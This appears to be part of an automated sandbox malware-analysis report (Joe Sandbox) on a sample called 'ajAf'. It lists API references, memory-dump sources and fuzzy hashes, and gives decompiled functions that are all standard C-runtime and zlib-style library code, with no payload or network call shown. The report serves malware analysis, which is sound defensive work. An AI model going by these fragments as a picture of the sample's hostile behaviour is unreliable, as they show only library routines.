LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004173E9

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: String$ByteCharMultiWide__freea_malloc$___convertcp$ErrorLast___ansicp_memset
String ID:
API String ID: 3809854901-0
Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction ID: cdfffc9a1d2b3026f9ae82d5cc8d175594050d3ba9b5f3d3ede674b9b5b9b85c
Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction Fuzzy Hash: 29B1B072908119EFCF119FA0CC808EF7BB5EF48354B14856BF915A2260D7398DD2DB98

Uniqueness

Uniqueness Score: -1.00%

Function 01FD72E8 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 01FD731A
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,00423620), ref: 01FD732C
_malloc.LIBCMT ref: 01FD73F1
_malloc.LIBCMT ref: 01FD74B3
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 01FD74DE
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 01FD7501
__freea.LIBCMT ref: 01FD750B
__freea.LIBCMT ref: 01FD7514
___ansicp.LIBCMT ref: 01FD7545
___convertcp.LIBCMT ref: 01FD7570
_malloc.LIBCMT ref: 01FD75C9
_memset.LIBCMT ref: 01FD75EB
___convertcp.LIBCMT ref: 01FD7621
__freea.LIBCMT ref: 01FD7636
LCMapStringA.KERNEL32(?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 01FD7650

Strings

pWhvPMhv Uhv Ohv FwIhvThv, xrefs: 01FD757F, 01FD7650

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: String__freea_malloc$___convertcp$ByteCharErrorLastMultiWide___ansicp_memset
String ID: pWhvPMhv Uhv Ohv FwIhvThv
API String ID: 2918745354-2975966627
Opcode ID: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction ID: 0ee8a039f8f4e8901ccc45db402ea0c7228644e356c9861d4dde0e73097ba10c
Opcode Fuzzy Hash: 6e0241b6e147b769e02d4c25b4a62de63cd09900d226416504aadb47099bd534
Instruction Fuzzy Hash: B2B1F472D0015AEFDF12AFA8CC809BE7FB7EB48358B584629FA15AB110D732C950DB51

Uniqueness

Uniqueness Score: -1.00%

Function 01FD083C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00421320,0000000C,01FD0977,00000000,00000000,?,00000001,01FCC22D,01FCB993), ref: 01FD084E
__crt_waiting_on_module_handle.LIBCMT ref: 01FD0859

Part of subcall function 01FCE9D1: Sleep.KERNEL32(000003E8,00000000,?,01FD079F,KERNEL32.DLL,?,01FD07EB,?,00000001,01FCC22D,01FCB993), ref: 01FCE9DD
Part of subcall function 01FCE9D1: GetModuleHandleW.KERNEL32(00000001,?,01FD079F,KERNEL32.DLL,?,01FD07EB,?,00000001,01FCC22D,01FCB993), ref: 01FCE9E6

__lock.LIBCMT ref: 01FD08B4
InterlockedIncrement.KERNEL32(?), ref: 01FD08C1
__lock.LIBCMT ref: 01FD08D5
___addlocaleref.LIBCMT ref: 01FD08F3

Strings

@.B, xrefs: 01FD08E8
KERNEL32.DLL, xrefs: 01FD0848, 01FD084D, 01FD0858

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: HandleModule__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: @.B$KERNEL32.DLL
API String ID: 4021795732-2520587274
Opcode ID: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction ID: f834cd2a62b9f148e1f8f2647c2f5993064816eec6c70b141f80179c9f87e8a8
Opcode Fuzzy Hash: 6494f875005ce20cdce955d8c22516ac3ccd9d7187ee8c814306de8b46833c7d
Instruction Fuzzy Hash: 2011C071900702EED720EF39DD0079ABBE0AF14310F10452EE4AA936A1CB759641CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004057B0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004057B0(intOrPtr* __eax) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t57;
				char* _t60;
				char _t62;
				intOrPtr _t63;
				char _t64;
				intOrPtr _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t74;
				intOrPtr _t79;
				intOrPtr _t82;
				intOrPtr* _t83;
				void* _t86;
				char* _t88;
				char* _t89;
				intOrPtr* _t91;
				intOrPtr* _t93;
				signed int _t97;
				signed int _t98;
				void* _t100;
				void* _t101;
				void* _t102;
				void* _t103;
				void* _t104;

				_t98 = _t97 | 0xffffffff;
				 *((intOrPtr*)(_t100 + 0xc)) = 0;
				_t91 = __eax;
				 *((intOrPtr*)(_t100 + 0x10)) = _t100 + 0x10;
				if( *((intOrPtr*)(_t100 + 0x68)) == 0 || __eax == 0) {
					__eflags = 0;
					return 0;
				} else {
					_t93 = E0040B84D(0, _t86, __eax, 0x74);
					_t101 = _t100 + 4;
					if(_t93 == 0) {
						L31:
						return 0;
					} else {
						 *((intOrPtr*)(_t93 + 0x20)) = 0;
						 *((intOrPtr*)(_t93 + 0x24)) = 0;
						 *((intOrPtr*)(_t93 + 0x28)) = 0;
						 *((intOrPtr*)(_t93 + 0x44)) = 0;
						 *_t93 = 0;
						 *((intOrPtr*)(_t93 + 0x48)) = 0;
						 *((intOrPtr*)(_t93 + 0xc)) = 0;
						 *((intOrPtr*)(_t93 + 0x10)) = 0;
						 *((intOrPtr*)(_t93 + 4)) = 0;
						 *((intOrPtr*)(_t93 + 0x40)) = 0;
						 *((intOrPtr*)(_t93 + 0x38)) = 0;
						 *((intOrPtr*)(_t93 + 0x3c)) = 0;
						 *((intOrPtr*)(_t93 + 0x64)) = 0;
						 *((intOrPtr*)(_t93 + 0x68)) = 0;
						 *(_t93 + 0x6c) = _t98;
						 *((intOrPtr*)(_t93 + 0x4c)) = E00403080(0, 0, 0);
						_t57 =  *((intOrPtr*)(_t101 + 0x78));
						_t102 = _t101 + 0xc;
						 *((intOrPtr*)(_t93 + 0x50)) = 0;
						 *((intOrPtr*)(_t93 + 0x58)) = 0;
						_t87 = _t57 + 1;
						do {
							_t82 =  *_t57;
							_t57 = _t57 + 1;
						} while (_t82 != 0);
						_t60 = E0040B84D(0, _t87, _t91, _t57 - _t87 + 1);
						_t103 = _t102 + 4;
						 *((intOrPtr*)(_t93 + 0x54)) = _t60;
						if(_t60 == 0) {
							L30:
							E00405160(0, _t87, _t93);
							goto L31;
						} else {
							_t83 =  *((intOrPtr*)(_t103 + 0x6c));
							_t88 = _t60;
							goto L7;
							L9:
							L9:
							if( *_t91 == 0x72) {
								 *((char*)(_t93 + 0x5c)) = 0x72;
							}
							_t63 =  *_t91;
							if(_t63 == 0x77 || _t63 == 0x61) {
								 *((char*)(_t93 + 0x5c)) = 0x77;
							}
							_t64 =  *_t91;
							if(_t64 < 0x30 || _t64 > 0x39) {
								__eflags = _t64 - 0x66;
								if(_t64 != 0x66) {
									__eflags = _t64 - 0x68;
									if(_t64 != 0x68) {
										__eflags = _t64 - 0x52;
										if(_t64 != 0x52) {
											_t89 =  *((intOrPtr*)(_t103 + 0x14));
											 *_t89 = _t64;
											_t87 = _t89 + 1;
											__eflags = _t87;
											 *((intOrPtr*)(_t103 + 0x14)) = _t87;
										} else {
											 *((intOrPtr*)(_t103 + 0x10)) = 3;
										}
									} else {
										 *((intOrPtr*)(_t103 + 0x10)) = 2;
									}
								} else {
									 *((intOrPtr*)(_t103 + 0x10)) = 1;
								}
							} else {
								_t98 = _t64 - 0x30;
							}
							_t91 = _t91 + 1;
							if(_t64 == 0) {
								goto L26;
							}
							_t87 = _t103 + 0x68;
							if( *((intOrPtr*)(_t103 + 0x14)) != _t103 + 0x68) {
								goto L9;
							}
							L26:
							_t65 =  *((intOrPtr*)(_t93 + 0x5c));
							if(_t65 == 0) {
								goto L30;
							} else {
								if(_t65 != 0x77) {
									_t66 = E0040B84D(0, _t87, _t91, 0x4000);
									 *((intOrPtr*)(_t93 + 0x44)) = _t66;
									 *_t93 = _t66;
									_t67 = E004071A0(_t93, 0xfffffff1, "1.2.3", 0x38);
									_t104 = _t103 + 0x14;
									__eflags = _t67;
									if(_t67 != 0) {
										goto L30;
									} else {
										__eflags =  *((intOrPtr*)(_t93 + 0x44));
										if(__eflags == 0) {
											goto L30;
										} else {
											goto L34;
										}
									}
								} else {
									_push(0x38);
									_push("1.2.3");
									_push( *((intOrPtr*)(_t103 + 0x10)));
									_push(8);
									_push(0xfffffff1);
									_push(8);
									_push(_t98);
									_push(_t93);
									_t91 = E00404CE0();
									_t79 = E0040B84D(0, _t87, _t91, 0x4000);
									_t104 = _t103 + 0x24;
									 *((intOrPtr*)(_t93 + 0x48)) = _t79;
									 *((intOrPtr*)(_t93 + 0xc)) = _t79;
									if(_t91 != 0 || _t79 == 0) {
										goto L30;
									} else {
										L34:
										 *((intOrPtr*)(_t93 + 0x10)) = 0x4000;
										 *((intOrPtr*)(E0040BFC1(__eflags))) = 0;
										_t69 =  *((intOrPtr*)(_t104 + 0x70));
										__eflags = _t69;
										_push(_t104 + 0x18);
										if(__eflags >= 0) {
											_push(_t69);
											_t70 = E0040C953(0, _t87, _t91, _t93, __eflags);
										} else {
											_t87 =  *((intOrPtr*)(_t104 + 0x70));
											_push( *((intOrPtr*)(_t104 + 0x70)));
											_t70 = E0040CB9D();
										}
										 *((intOrPtr*)(_t93 + 0x40)) = _t70;
										__eflags = _t70;
										if(_t70 == 0) {
											goto L30;
										} else {
											__eflags =  *((char*)(_t93 + 0x5c)) - 0x77;
											if( *((char*)(_t93 + 0x5c)) != 0x77) {
												E00405000(_t93, 0);
												_push( *((intOrPtr*)(_t93 + 0x40)));
												_t74 = E0040C8E5(0,  *((intOrPtr*)(_t93 + 0x40)), _t91, _t93, __eflags) -  *((intOrPtr*)(_t93 + 4));
												__eflags = _t74;
												 *((intOrPtr*)(_t93 + 0x60)) = _t74;
												return _t93;
											} else {
												 *((intOrPtr*)(_t93 + 0x60)) = 0xa;
												return _t93;
											}
										}
									}
								}
							}
							goto L42;
							L7:
							_t62 =  *_t83;
							 *_t88 = _t62;
							_t83 = _t83 + 1;
							_t88 = _t88 + 1;
							if(_t62 != 0) {
								goto L7;
							} else {
								 *((char*)(_t93 + 0x5c)) = 0;
							}
							goto L9;
						}
					}
				}
				L42:
			}

0x004057b7
0x004057bf
0x004057c3
0x004057c5
0x004057cd
0x004059c8
0x004059ce
0x004057db
0x004057e3
0x004057e5
0x004057ea
0x00405921
0x0040592a
0x004057f0
0x004057f3
0x004057f6
0x004057f9
0x004057fc
0x004057ff
0x00405801
0x00405804
0x00405807
0x0040580a
0x0040580d
0x00405810
0x00405813
0x00405816
0x00405819
0x0040581c
0x00405824
0x00405827
0x0040582b
0x0040582e
0x00405831
0x00405834
0x00405837
0x00405837
0x00405839
0x0040583a
0x00405842
0x00405847
0x0040584a
0x0040584f
0x0040591c
0x0040591c
0x00000000
0x00405855
0x00405855
0x00405859
0x0040585b
0x00000000
0x00405870
0x00405872
0x00405874
0x00405874
0x00405877
0x0040587b
0x00405881
0x00405881
0x00405885
0x00405889
0x00405897
0x00405899
0x004058a5
0x004058a7
0x004058b3
0x004058b5
0x004058c1
0x004058c5
0x004058c7
0x004058c7
0x004058c8
0x004058b7
0x004058b7
0x004058b7
0x004058a9
0x004058a9
0x004058a9
0x0040589b
0x0040589b
0x0040589b
0x0040588f
0x00405892
0x00405892
0x004058cc
0x004058cf
0x00000000
0x00000000
0x004058d1
0x004058d9
0x00000000
0x00000000
0x004058db
0x004058db
0x004058e0
0x00000000
0x004058e2
0x004058e4
0x00405930
0x0040593f
0x00405942
0x00405944
0x00405949
0x0040594c
0x0040594e
0x00000000
0x00405950
0x00405950
0x00405953
0x00000000
0x00000000
0x00000000
0x00000000
0x00405953
0x004058e6
0x004058ea
0x004058ec
0x004058f1
0x004058f2
0x004058f4
0x004058f6
0x004058f8
0x004058f9
0x00405904
0x00405906
0x0040590b
0x0040590e
0x00405911
0x00405916
0x00000000
0x00405955
0x00405955
0x00405955
0x00405961
0x00405963
0x00405967
0x0040596d
0x0040596e
0x0040597c
0x0040597d
0x00405970
0x00405970
0x00405974
0x00405975
0x00405975
0x00405985
0x00405988
0x0040598a
0x00000000
0x0040598c
0x0040598c
0x00405990
0x004059a5
0x004059ad
0x004059b6
0x004059b6
0x004059b9
0x004059c5
0x00405992
0x00405992
0x004059a2
0x004059a2
0x00405990
0x0040598a
0x00405916
0x004058e4
0x00000000
0x00405860
0x00405860
0x00405862
0x00405864
0x00405865
0x00405868
0x00000000
0x0040586a
0x0040586a
0x0040586d
0x00000000
0x00405868
0x0040584f
0x004057ea
0x00000000

APIs

_malloc.LIBCMT ref: 004057DE

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

_malloc.LIBCMT ref: 00405842
_malloc.LIBCMT ref: 00405906
_malloc.LIBCMT ref: 00405930

Strings

1.2.3, xrefs: 004058EC, 00405937

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap
String ID: 1.2.3
API String ID: 680241177-2310465506
Opcode ID: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction ID: 6f54ea0e5a0cddcbb7a6eab5c61130b8c10e9e343dc86a4c4a61a5a67c51a18e
Opcode Fuzzy Hash: dcd0ffeba55ff02fe10acfaeba0fa9d55be123b2b31187241ea46178cf7d6550
Instruction Fuzzy Hash: 8B61F7B1944B408FD720AF2A888066BBBE0FB45314F548D3FE5D5A3781D739D8498F5A

Uniqueness

Uniqueness Score: -1.00%

Function 01FC5A17 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 01FC5A45

Part of subcall function 01FCBAB4: __FF_MSGBANNER.LIBCMT ref: 01FCBAD7
Part of subcall function 01FCBAB4: __NMSG_WRITE.LIBCMT ref: 01FCBADE

_malloc.LIBCMT ref: 01FC5AA9
_malloc.LIBCMT ref: 01FC5B6D
_malloc.LIBCMT ref: 01FC5B97

Strings

1.2.3, xrefs: 01FC5B53, 01FC5B9E

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: _malloc
String ID: 1.2.3
API String ID: 1579825452-2310465506
Opcode ID: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
Instruction ID: 32e575a328db9275ec5a5314561b78cfd8513301fdd84e6a43d16793c6225fc2
Opcode Fuzzy Hash: 7bb03aca1fc5991893fbdddb05e44545bf6cb9a06a6e9765b2a21d01904c984c
Instruction Fuzzy Hash: 5E61D1B1E447828FD7209F2D8980666FFE0FB55B10F58492ED1C987610D776B04AEF52

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCC2 Relevance: 10.7, APIs: 7, Instructions: 189
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040BCC2(signed int __edx, char* _a4, signed int _a8, signed int _a12, signed int _a16, signed int _a20) {
				signed int _v8;
				char* _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t90;
				intOrPtr* _t92;
				signed int _t94;
				char _t97;
				signed int _t105;
				void* _t106;
				signed int _t107;
				signed int _t110;
				signed int _t113;
				intOrPtr* _t114;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				char* _t121;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t134;

				_t125 = __edx;
				_t121 = _a4;
				_t119 = _a8;
				_t131 = 0;
				_v12 = _t121;
				_v8 = _t119;
				if(_a12 == 0 || _a16 == 0) {
					L5:
					return 0;
				} else {
					_t138 = _t121;
					if(_t121 != 0) {
						_t133 = _a20;
						__eflags = _t133;
						if(_t133 == 0) {
							L9:
							__eflags = _t119 - 0xffffffff;
							if(_t119 != 0xffffffff) {
								_t90 = E0040BA30(_t131, _t121, _t131, _t119);
								_t134 = _t134 + 0xc;
							}
							__eflags = _t133 - _t131;
							if(__eflags == 0) {
								goto L3;
							} else {
								_t94 = _t90 | 0xffffffff;
								_t125 = _t94 % _a12;
								__eflags = _a16 - _t94 / _a12;
								if(__eflags > 0) {
									goto L3;
								}
								L13:
								_t131 = _a12 * _a16;
								__eflags =  *(_t133 + 0xc) & 0x0000010c;
								_v20 = _t131;
								_t120 = _t131;
								if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
									_v16 = 0x1000;
								} else {
									_v16 =  *((intOrPtr*)(_t133 + 0x18));
								}
								__eflags = _t131;
								if(_t131 == 0) {
									L40:
									return _a16;
								} else {
									do {
										__eflags =  *(_t133 + 0xc) & 0x0000010c;
										if(( *(_t133 + 0xc) & 0x0000010c) == 0) {
											L24:
											__eflags = _t120 - _v16;
											if(_t120 < _v16) {
												_t97 = E0040FC07(_t120, _t125, _t133);
												__eflags = _t97 - 0xffffffff;
												if(_t97 == 0xffffffff) {
													L48:
													return (_t131 - _t120) / _a12;
												}
												__eflags = _v8;
												if(_v8 == 0) {
													L44:
													__eflags = _a8 - 0xffffffff;
													if(__eflags != 0) {
														E0040BA30(_t131, _a4, 0, _a8);
														_t134 = _t134 + 0xc;
													}
													 *((intOrPtr*)(E0040BFC1(__eflags))) = 0x22;
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													L4:
													E0040E744(_t125, _t131, _t133);
													goto L5;
												}
												_t123 = _v12;
												_v12 = _v12 + 1;
												 *_v12 = _t97;
												_t120 = _t120 - 1;
												_t70 =  &_v8;
												 *_t70 = _v8 - 1;
												__eflags =  *_t70;
												_v16 =  *((intOrPtr*)(_t133 + 0x18));
												goto L39;
											}
											__eflags = _v16;
											if(_v16 == 0) {
												_t105 = 0x7fffffff;
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t105 = _t120;
												}
											} else {
												__eflags = _t120 - 0x7fffffff;
												if(_t120 <= 0x7fffffff) {
													_t55 = _t120 % _v16;
													__eflags = _t55;
													_t125 = _t55;
													_t110 = _t120;
												} else {
													_t125 = 0x7fffffff % _v16;
													_t110 = 0x7fffffff;
												}
												_t105 = _t110 - _t125;
											}
											__eflags = _t105 - _v8;
											if(_t105 > _v8) {
												goto L44;
											} else {
												_push(_t105);
												_push(_v12);
												_t106 = E0040FA20(_t125, _t131, _t133);
												_pop(_t123);
												_push(_t106);
												_t107 = E004102F4(_t120, _t125, _t131, _t133, __eflags);
												_t134 = _t134 + 0xc;
												__eflags = _t107;
												if(_t107 == 0) {
													 *(_t133 + 0xc) =  *(_t133 + 0xc) | 0x00000010;
													goto L48;
												}
												__eflags = _t107 - 0xffffffff;
												if(_t107 == 0xffffffff) {
													L47:
													_t80 = _t133 + 0xc;
													 *_t80 =  *(_t133 + 0xc) | 0x00000020;
													__eflags =  *_t80;
													goto L48;
												}
												_v12 = _v12 + _t107;
												_t120 = _t120 - _t107;
												_v8 = _v8 - _t107;
												goto L39;
											}
										}
										_t113 =  *(_t133 + 4);
										__eflags = _t113;
										if(__eflags == 0) {
											goto L24;
										}
										if(__eflags < 0) {
											goto L47;
										}
										_t131 = _t120;
										__eflags = _t120 - _t113;
										if(_t120 >= _t113) {
											_t131 = _t113;
										}
										__eflags = _t131 - _v8;
										if(_t131 > _v8) {
											_t133 = 0;
											__eflags = _a8 - 0xffffffff;
											if(__eflags != 0) {
												E0040BA30(_t131, _a4, 0, _a8);
												_t134 = _t134 + 0xc;
											}
											_t114 = E0040BFC1(__eflags);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											_push(_t133);
											 *_t114 = 0x22;
											_push(_t133);
											goto L4;
										} else {
											E004103F1(_t120, _t123, _t125, _v12, _v8,  *_t133, _t131);
											 *(_t133 + 4) =  *(_t133 + 4) - _t131;
											 *_t133 =  *_t133 + _t131;
											_v12 = _v12 + _t131;
											_t120 = _t120 - _t131;
											_t134 = _t134 + 0x10;
											_v8 = _v8 - _t131;
											_t131 = _v20;
										}
										L39:
										__eflags = _t120;
									} while (_t120 != 0);
									goto L40;
								}
							}
						}
						_t118 = _t90 | 0xffffffff;
						_t90 = _t118 / _a12;
						_t125 = _t118 % _a12;
						__eflags = _a16 - _t90;
						if(_a16 <= _t90) {
							goto L13;
						}
						goto L9;
					}
					L3:
					_t92 = E0040BFC1(_t138);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					_push(_t131);
					 *_t92 = 0x16;
					_push(_t131);
					goto L4;
				}
			}

0x0040bcc2
0x0040bcca
0x0040bcce
0x0040bcd3
0x0040bcd5
0x0040bcd8
0x0040bcde
0x0040bd01
0x00000000
0x0040bce5
0x0040bce5
0x0040bce7
0x0040bd08
0x0040bd0b
0x0040bd0d
0x0040bd1c
0x0040bd1c
0x0040bd1f
0x0040bd24
0x0040bd29
0x0040bd29
0x0040bd2c
0x0040bd2e
0x00000000
0x0040bd30
0x0040bd30
0x0040bd35
0x0040bd38
0x0040bd3b
0x00000000
0x00000000
0x0040bd3d
0x0040bd40
0x0040bd44
0x0040bd4b
0x0040bd4e
0x0040bd50
0x0040bd5a
0x0040bd52
0x0040bd55
0x0040bd55
0x0040bd61
0x0040bd63
0x0040be53
0x00000000
0x0040bd69
0x0040bd69
0x0040bd69
0x0040bd70
0x0040bdb6
0x0040bdb6
0x0040bdb9
0x0040be24
0x0040be2a
0x0040be2d
0x0040beb8
0x00000000
0x0040bebe
0x0040be33
0x0040be37
0x0040be87
0x0040be87
0x0040be8b
0x0040be95
0x0040be9a
0x0040be9a
0x0040bea2
0x0040beaa
0x0040beab
0x0040beac
0x0040bead
0x0040beae
0x0040bcf9
0x0040bcf9
0x00000000
0x0040bcfe
0x0040be39
0x0040be3c
0x0040be3f
0x0040be44
0x0040be45
0x0040be45
0x0040be45
0x0040be48
0x00000000
0x0040be48
0x0040bdbb
0x0040bdbf
0x0040bde0
0x0040bde5
0x0040bde7
0x0040bde9
0x0040bde9
0x0040bdc1
0x0040bdc8
0x0040bdca
0x0040bdd7
0x0040bdd7
0x0040bdd7
0x0040bdda
0x0040bdcc
0x0040bdce
0x0040bdd1
0x0040bdd1
0x0040bddc
0x0040bddc
0x0040bdeb
0x0040bdee
0x00000000
0x0040bdf4
0x0040bdf4
0x0040bdf5
0x0040bdf9
0x0040bdfe
0x0040bdff
0x0040be00
0x0040be05
0x0040be08
0x0040be0a
0x0040bec6
0x00000000
0x0040bec6
0x0040be10
0x0040be13
0x0040beb4
0x0040beb4
0x0040beb4
0x0040beb4
0x00000000
0x0040beb4
0x0040be19
0x0040be1c
0x0040be1e
0x00000000
0x0040be1e
0x0040bdee
0x0040bd72
0x0040bd75
0x0040bd77
0x00000000
0x00000000
0x0040bd79
0x00000000
0x00000000
0x0040bd7f
0x0040bd81
0x0040bd83
0x0040bd85
0x0040bd85
0x0040bd87
0x0040bd8a
0x0040be5b
0x0040be5d
0x0040be61
0x0040be6a
0x0040be6f
0x0040be6f
0x0040be72
0x0040be77
0x0040be78
0x0040be79
0x0040be7a
0x0040be7b
0x0040be81
0x00000000
0x0040bd90
0x0040bd99
0x0040bd9e
0x0040bda1
0x0040bda3
0x0040bda6
0x0040bda8
0x0040bdab
0x0040bdae
0x0040bdae
0x0040be4b
0x0040be4b
0x0040be4b
0x00000000
0x0040bd69
0x0040bd63
0x0040bd2e
0x0040bd0f
0x0040bd14
0x0040bd14
0x0040bd17
0x0040bd1a
0x00000000
0x00000000
0x00000000
0x0040bd1a
0x0040bce9
0x0040bce9
0x0040bcee
0x0040bcef
0x0040bcf0
0x0040bcf1
0x0040bcf2
0x0040bcf8
0x00000000
0x0040bcf8

APIs

_memset.LIBCMT ref: 0040BD24
_memcpy_s.LIBCMT ref: 0040BD99
__fileno.LIBCMT ref: 0040BDF9
__read.LIBCMT ref: 0040BE00
__filbuf.LIBCMT ref: 0040BE24
_memset.LIBCMT ref: 0040BE6A
_memset.LIBCMT ref: 0040BE95

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 0234425abcb0213f77efd30778ac7634d7a408156a07f93f58cd91f86a00e979
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 1E519031A00605ABCB209F69C844A9FBB75EF41324F24863BF825B22D1D7799E51CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 01FCBF29 Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 01FCBF8B
_memcpy_s.LIBCMT ref: 01FCC000
__fileno.LIBCMT ref: 01FCC060
__read.LIBCMT ref: 01FCC067
__filbuf.LIBCMT ref: 01FCC08B
_memset.LIBCMT ref: 01FCC0D1
_memset.LIBCMT ref: 01FCC0FC

Part of subcall function 01FCC228: __getptd_noexit.LIBCMT ref: 01FCC228

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction ID: 470f303bc4884362e2cd49405cb72f0af0431b1bb1ea95c1f3a8645556a84fbf
Opcode Fuzzy Hash: c8cdba87b669e5a45588b0eb276f39e335abb1b1e80ab099951c299220f7b7ba
Instruction Fuzzy Hash: 54511571D0020BEBDB208FAD8E4559EBBB5EF91B60F14821DE82D92290D7738A51EF50

Uniqueness

Uniqueness Score: -1.00%

Function 01FCC9A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 01FCC92F
__fileno.LIBCMT ref: 01FCC93D
__fileno.LIBCMT ref: 01FCC949
__fileno.LIBCMT ref: 01FCC955
__fileno.LIBCMT ref: 01FCC965

Part of subcall function 01FCC228: __getptd_noexit.LIBCMT ref: 01FCC228

Strings

'B, xrefs: 01FCC976

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: __fileno$__getptd_noexit__lock_file
String ID: 'B
